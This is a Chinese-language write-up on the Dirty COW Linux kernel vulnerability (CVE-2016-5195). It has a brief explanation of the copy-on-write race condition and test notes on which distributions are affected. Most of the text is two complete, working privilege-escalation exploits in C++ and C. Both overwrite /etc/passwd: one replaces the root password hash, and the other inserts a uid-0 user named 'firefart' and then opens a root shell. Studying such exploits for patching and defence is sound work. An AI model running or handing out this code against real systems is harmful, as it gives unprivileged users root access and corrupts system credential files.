一、脏牛漏洞描述
漏洞编号：CVE-2016-5195 漏洞名称：脏牛（Dirty COW） 漏洞危害：低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权 影响范围：Linux内核>=2.6.22（2007年发行）开始就受影响了，直到2016年10月18日才修复
二、漏洞利用原理
该漏洞具体为，Linux内核的内存子系统在处理写入时复制（copy-on-write, COW）时产生了竞争条件（race condition）。恶意用户可利用此漏洞，来获取高权限，对只读内存映射进行写访问。（A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.）
竞争条件，指的是任务执行顺序异常，可导致应用崩溃，或令攻击者有机可乘，进一步执行其他代码。利用这一漏洞，攻击者可在其目标系统提升权限，甚至可能获得root权限。
三、漏洞测试
github Pocs页面为：https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
经测试上面提供的exp代码可用，这里使用其中两段测试代码:
exp1:
#include <iostream>
#include <fstream>
#include <string>
#include <thread>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <pwd.h>
#include <pty.h>
#include <string.h>
#include <termios.h>
#include <sys/wait.h>
#include <signal.h>
#define BUFFSIZE 1024
#define DEFSLTIME 300000
#define PWDFILE "/etc/passwd"
#define BAKFILE "./.ssh_bak"
#define TMPBAKFILE "/tmp/.ssh_bak"
#define PSM "/proc/self/mem"
#define ROOTID "root:"
#define SSHDID "sshd:"
#define MAXITER 300
#define DEFPWD "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/"
#define TXTPWD "dirtyCowFun\n"
#define DISABLEWB "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n"
#define EXITCMD "exit\n"
#define CPCMD "\\cp "
#define RMCMD "\\rm "
using namespace std;
class Dcow{
private:
bool run, rawMode, opShell, restPwd;
void *map;
int fd, iter, master, wstat;
string buffer, etcPwd, etcPwdBak,
root, user, pwd, sshd;
thread *writerThr, *madviseThr, *checkerThr;
ifstream *extPwd;
ofstream *extPwdBak;
struct passwd *userId;
pid_t child;
char buffv[BUFFSIZE];
fd_set rfds;
struct termios termOld, termNew;
ssize_t ign;
void exitOnError(string msg);
public:
Dcow(bool opSh, bool rstPwd);
~Dcow(void);
int expl(void);
};
Dcow::Dcow(bool opSh, bool rstPwd) : run(true), rawMode(false), opShell(opSh), restPwd(rstPwd),
iter(0), wstat(0), root(ROOTID), pwd(DEFPWD), sshd(SSHDID), writerThr(nullptr),
madviseThr(nullptr), checkerThr(nullptr), extPwd(nullptr), extPwdBak(nullptr),
child(0){
userId = getpwuid(getuid());
user.append(userId->pw_name).append(":");
extPwd = new ifstream(PWDFILE);
while (getline(*extPwd, buffer)){
buffer.append("\n");
etcPwdBak.append(buffer);
if(buffer.find(root) == 0){
etcPwd.insert(0, root).insert(root.size(), pwd);
etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(),
buffer.begin() + buffer.find(":", root.size()), buffer.end());
}else if(buffer.find(user) == 0 || buffer.find(sshd) == 0 ){
etcPwd.insert(0, buffer);
}else{
etcPwd.append(buffer);
}
}
extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE);
extPwdBak->write(etcPwdBak.c_str(), etcPwdBak.size());
extPwdBak->close();
fd = open(PWDFILE,O_RDONLY);
map = mmap(nullptr, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0);
}
Dcow::~Dcow(void){
extPwd->close();
close(fd);
delete extPwd; delete extPwdBak; delete madviseThr; delete writerThr; delete checkerThr;
if(rawMode) tcsetattr(STDIN_FILENO, TCSANOW, &termOld);
if(child != 0) wait(&wstat);
}
void Dcow::exitOnError(string msg){
cerr << msg << endl;
throw new exception();
}
int Dcow::expl(void){
madviseThr = new thread([&](){ while(run){ madvise(map, etcPwdBak.size(), MADV_DONTNEED);} });
writerThr = new thread([&](){ int fpsm = open(PSM,O_RDWR);
while(run){ lseek(fpsm, reinterpret_cast<off_t>(map), SEEK_SET);
ign = write(fpsm, etcPwd.c_str(), etcPwdBak.size()); }
});
checkerThr = new thread([&](){ while(iter <= MAXITER){
extPwd->clear(); extPwd->seekg(0, ios::beg);
buffer.assign(istreambuf_iterator<char>(*extPwd),
istreambuf_iterator<char>());
if(buffer.find(pwd) != string::npos &&
buffer.size() >= etcPwdBak.size()){
run = false; break;
}
iter ++; usleep(DEFSLTIME);
}
run = false;
});
cerr << "Running ..." << endl;
madviseThr->join();
writerThr->join();
checkerThr->join();
if(iter <= MAXITER){
child = forkpty(&master, nullptr, nullptr, nullptr);
if(child == -1) exitOnError("Error forking pty.");
if(child == 0){
execlp("su", "su", "-", nullptr);
exitOnError("Error on exec.");
}
if(opShell) cerr << "Password overridden to: " << TXTPWD << endl;
memset(buffv, 0, BUFFSIZE);
ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1);
if(bytes_read <= 0) exitOnError("Error reading su prompt.");
cerr << "Received su prompt (" << buffv << ")" << endl;
if(write(master, TXTPWD, strlen(TXTPWD)) <= 0)
exitOnError("Error writing pwd on tty.");
if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0)
exitOnError("Error writing cmd on tty.");
if(!opShell){
if(write(master, EXITCMD, strlen(EXITCMD)) <= 0)
exitOnError("Error writing exit cmd on tty.");
}else{
if(restPwd){
string restoreCmd = string(CPCMD).append(TMPBAKFILE).append(" ").append(PWDFILE).append("\n");
if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
exitOnError("Error writing restore cmd on tty.");
restoreCmd = string(RMCMD).append(TMPBAKFILE).append("\n");
if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
exitOnError("Error writing restore cmd (rm) on tty.");
}
if(tcgetattr(STDIN_FILENO, &termOld) == -1 )
exitOnError("Error getting terminal attributes.");
termNew = termOld;
termNew.c_lflag &= static_cast<unsigned long>(~(ICANON | ECHO));
if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1)
exitOnError("Error setting terminal in non-canonical mode.");
rawMode = true;
while(true){
FD_ZERO(&rfds);
FD_SET(master, &rfds);
FD_SET(STDIN_FILENO, &rfds);
if(select(master + 1, &rfds, nullptr, nullptr, nullptr) < 0 )
exitOnError("Error on select tty.");
if(FD_ISSET(master, &rfds)) {
memset(buffv, 0, BUFFSIZE);
bytes_read = read(master, buffv, BUFFSIZE - 1);
if(bytes_read <= 0) break;
if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read)
exitOnError("Error writing on stdout.");
}
if(FD_ISSET(STDIN_FILENO, &rfds)) {
memset(buffv, 0, BUFFSIZE);
bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1);
if(bytes_read <= 0) exitOnError("Error reading from stdin.");
if(write(master, buffv, bytes_read) != bytes_read) break;
}
}
}
}
return [](int ret, bool shell){
string msg = shell ? "Exit.\n" : string("Root password is: ") + TXTPWD + "Enjoy! :-)\n";
if(ret <= MAXITER){cerr << msg; return 0;}
else{cerr << "Exploit failed.\n"; return 1;}
}(iter, opShell);
}
void printInfo(char* cmd){
cerr << cmd << " [-s] [-n] | [-h]\n" << endl;
cerr << " -s open directly a shell, if the exploit is successful;" << endl;
cerr << " -n combined with -s, doesn't restore the passwd file." << endl;
cerr << " -h print this synopsis;" << endl;
cerr << "\n If no param is specified, the program modifies the passwd file and exits." << endl;
cerr << " A copy of the passwd file will be create in the current directory as .ssh_bak" << endl;
cerr << " (unprivileged user), if no parameter or -n is specified.\n" << endl;
exit(1);
}
int main(int argc, char** argv){
const char flags[] = "shn";
int c;
bool opShell = false,
restPwd = argc != 1 ? true : false;
opterr = 0;
while ((c = getopt(argc, argv, flags)) != -1){
switch (c){
case 's':
opShell = true;
break;
case 'n':
restPwd = false;
break;
case 'h':
printInfo(argv[0]);
break;
default:
cerr << "Invalid parameter." << endl << endl;
printInfo(argv[0]);
}
}
if(!restPwd && !opShell && argc != 1){
cerr << "Invalid parameter: -n requires -s" << endl << endl;
printInfo(argv[0]);
}
Dcow dcow(opShell, restPwd);
return dcow.expl();
}测试结果如下：
exp2:
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
}
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again\n",
to);
return -1;
}
char ch;
FILE *source, *target;
source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}
while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}
printf("%s successfully backed up to %s\n",
from, to);
fclose(source);
fclose(target);
return 0;
}
int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
}
struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = 0;
user.group_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash";
char *plaintext_pw;
if (argc >= 2) {
plaintext_pw = argv[1];
printf("Please enter the new password: %s\n", plaintext_pw);
} else {
plaintext_pw = getpass("Please enter the new password: ");
}
user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:\n%s\n", complete_passwd_line);
f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
printf("mmap: %lx\n",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %d\n",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
}
printf("Done! Check %s to see if the new user was created.\n", filename);
printf("You can log in with the username '%s' and the password '%s'.\n\n",
user.username, plaintext_pw);
printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
backup_filename, filename);
return 0;
}由于gcc版本的原因，exp1在很多版本上编译会出错，所以这里有使用了exp2进行测试，具体结果如下：
参数页面：
更详细的关于漏洞原理的部分可以参考如下页面：
https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195
根据测试结果centos7.2以下的版本基本都可以测试成功，SUSE11全部版本都可以成功。